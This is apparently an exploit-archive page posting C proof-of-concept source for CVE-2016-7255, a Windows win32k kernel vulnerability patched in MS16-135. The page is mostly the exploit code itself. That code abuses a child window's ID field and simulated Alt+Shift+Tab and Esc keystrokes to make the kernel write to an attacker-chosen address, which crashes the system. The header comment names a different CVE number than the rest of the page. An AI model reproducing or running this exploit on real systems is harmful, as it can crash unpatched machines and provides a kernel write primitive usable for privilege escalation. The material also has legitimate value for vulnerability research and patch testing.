what you don't know can hurt you

Microsoft Windows kernel win32k Denial Of Service

Microsoft Windows kernel win32k Denial Of Service
Posted Nov 14, 2016
Authored by TinySec

The Microsoft Windows kernel suffers from a denial of service vulnerability as outlined in MS16-135.

tags | exploit, denial of service, kernel
systems | windows
advisories | CVE-2016-7255
MD5 | 1565e5e5849413adeccf1d24ffbe2a57

Microsoft Windows kernel win32k Denial Of Service

Change Mirror Download
/*
Source: https://github.com/tinysec/public/tree/master/CVE-2016-7255

Full Proof of Concept:

https://github.com/tinysec/public/tree/master/CVE-2016-7255
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40745.zip

********************************************************************
Created: 2016-11-09 14:23:09
Filename: main.c
Author: root[at]TinySec.net
Version 0.0.0.1
Purpose: poc of cve-2016-0075
*********************************************************************
*/

#include <windows.h>
#include <wchar.h>
#include <stdlib.h>
#include <stdio.h>


//////////////////////////////////////////////////////////////////////////
#pragma comment(lib,"ntdll.lib")
#pragma comment(lib,"user32.lib")

#undef DbgPrint
ULONG __cdecl DbgPrintEx( IN ULONG ComponentId, IN ULONG Level, IN PCCH Format, IN ... );
ULONG __cdecl DbgPrint(__in char* Format, ...)
{
CHAR* pszDbgBuff = NULL;
va_list VaList=NULL;
ULONG ulRet = 0;

do
{
pszDbgBuff = (CHAR*)HeapAlloc(GetProcessHeap(), 0 ,1024 * sizeof(CHAR));
if (NULL == pszDbgBuff)
{
break;
}
RtlZeroMemory(pszDbgBuff,1024 * sizeof(CHAR));

va_start(VaList,Format);

_vsnprintf((CHAR*)pszDbgBuff,1024 - 1,Format,VaList);

DbgPrintEx(77 , 0 , pszDbgBuff );
OutputDebugStringA(pszDbgBuff);

va_end(VaList);

} while (FALSE);

if (NULL != pszDbgBuff)
{
HeapFree( GetProcessHeap(), 0 , pszDbgBuff );
pszDbgBuff = NULL;
}

return ulRet;
}


int _sim_key_down(WORD wKey)
{
INPUT stInput = {0};

do
{
stInput.type = INPUT_KEYBOARD;
stInput.ki.wVk = wKey;
stInput.ki.dwFlags = 0;

SendInput(1 , &stInput , sizeof(stInput) );

} while (FALSE);

return 0;
}

int _sim_key_up(WORD wKey)
{
INPUT stInput = {0};

do
{
stInput.type = INPUT_KEYBOARD;
stInput.ki.wVk = wKey;
stInput.ki.dwFlags = KEYEVENTF_KEYUP;

SendInput(1 , &stInput , sizeof(stInput) );

} while (FALSE);

return 0;
}

int _sim_alt_shift_esc()
{
int i = 0;

do
{
_sim_key_down( VK_MENU );
_sim_key_down( VK_SHIFT );


_sim_key_down( VK_ESCAPE);
_sim_key_up( VK_ESCAPE);

_sim_key_down( VK_ESCAPE);
_sim_key_up( VK_ESCAPE);

_sim_key_up( VK_MENU );
_sim_key_up( VK_SHIFT );


} while (FALSE);

return 0;
}



int _sim_alt_shift_tab(int nCount)
{
int i = 0;
HWND hWnd = NULL;


int nFinalRet = -1;

do
{
_sim_key_down( VK_MENU );
_sim_key_down( VK_SHIFT );


for ( i = 0; i < nCount ; i++)
{
_sim_key_down( VK_TAB);
_sim_key_up( VK_TAB);

Sleep(1000);

}


_sim_key_up( VK_MENU );
_sim_key_up( VK_SHIFT );
} while (FALSE);

return nFinalRet;
}



int or_address_value_4(__in void* pAddress)
{
WNDCLASSEXW stWC = {0};

HWND hWndParent = NULL;
HWND hWndChild = NULL;

WCHAR* pszClassName = L"cve-2016-7255";
WCHAR* pszTitleName = L"cve-2016-7255";

void* pId = NULL;
MSG stMsg = {0};

do
{

stWC.cbSize = sizeof(stWC);
stWC.lpfnWndProc = DefWindowProcW;
stWC.lpszClassName = pszClassName;

if ( 0 == RegisterClassExW(&stWC) )
{
break;
}

hWndParent = CreateWindowExW(
0,
pszClassName,
NULL,
WS_OVERLAPPEDWINDOW|WS_VISIBLE,
0,
0,
360,
360,
NULL,
NULL,
GetModuleHandleW(NULL),
NULL
);

if (NULL == hWndParent)
{
break;
}

hWndChild = CreateWindowExW(
0,
pszClassName,
pszTitleName,
WS_OVERLAPPEDWINDOW|WS_VISIBLE|WS_CHILD,
0,
0,
160,
160,
hWndParent,
NULL,
GetModuleHandleW(NULL),
NULL
);

if (NULL == hWndChild)
{
break;
}

#ifdef _WIN64
pId = ( (UCHAR*)pAddress - 0x28 );
#else
pId = ( (UCHAR*)pAddress - 0x14);
#endif // #ifdef _WIN64

SetWindowLongPtr(hWndChild , GWLP_ID , (LONG_PTR)pId );

DbgPrint("hWndChild = 0x%p\n" , hWndChild);
DebugBreak();

ShowWindow(hWndParent , SW_SHOWNORMAL);

SetParent(hWndChild , GetDesktopWindow() );

SetForegroundWindow(hWndChild);

_sim_alt_shift_tab(4);

SwitchToThisWindow(hWndChild , TRUE);

_sim_alt_shift_esc();


while( GetMessage(&stMsg , NULL , 0 , 0) )
{
TranslateMessage(&stMsg);
DispatchMessage(&stMsg);
}


} while (FALSE);

if ( NULL != hWndParent )
{
DestroyWindow(hWndParent);
hWndParent = NULL;
}

if ( NULL != hWndChild )
{
DestroyWindow(hWndChild);
hWndChild = NULL;
}

UnregisterClassW(pszClassName , GetModuleHandleW(NULL) );

return 0;
}

int __cdecl wmain(int nArgc, WCHAR** Argv)
{
do
{
or_address_value_4( (void*)0xFFFFFFFF );
} while (FALSE);

return 0;
}

Login or Register to add favorites

File Archive:

August 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    3 Files
  • 2
    Aug 2nd
    2 Files
  • 3
    Aug 3rd
    32 Files
  • 4
    Aug 4th
    22 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close